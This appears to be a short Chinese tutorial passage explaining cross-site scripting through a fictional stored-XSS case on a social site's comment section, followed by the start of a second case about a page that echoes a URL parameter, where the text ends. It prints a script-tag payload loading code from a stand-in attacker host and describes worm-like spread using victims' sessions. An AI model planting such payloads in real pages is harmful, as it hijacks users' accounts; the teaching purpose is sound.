今日说法：XSS 攻击案例（一）
以下案例纯属虚构：
黑客发现旧浪网某边缘功能的评论区存在漏洞，用户输入的内容未经过滤直接保存到后台
攻击者构建一个评论, 包含恶意内容
你的牌打得太好辣！<script src="//hacker.com/evil.js"></script>
用户访问评论列表时，服务端取出存储的内容，回填到 HTML 响应中：
<li>
你的牌打得太好辣！<script src="//hacker.com/evil.js"></script>
</li>
浏览器接收到响应后就会加载执行恶意脚本 hacker.com/evil.js，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上恶意评论的 URL，诱导更多人点击，层层放大攻击范围。
今日说法：XSS 攻击案例（二）
程序员杨天宝开发了一个页面，用于展示用户输入的数据：
dev.cabeza.cn/security/xss.html?a=坤坤
看起来没什么问题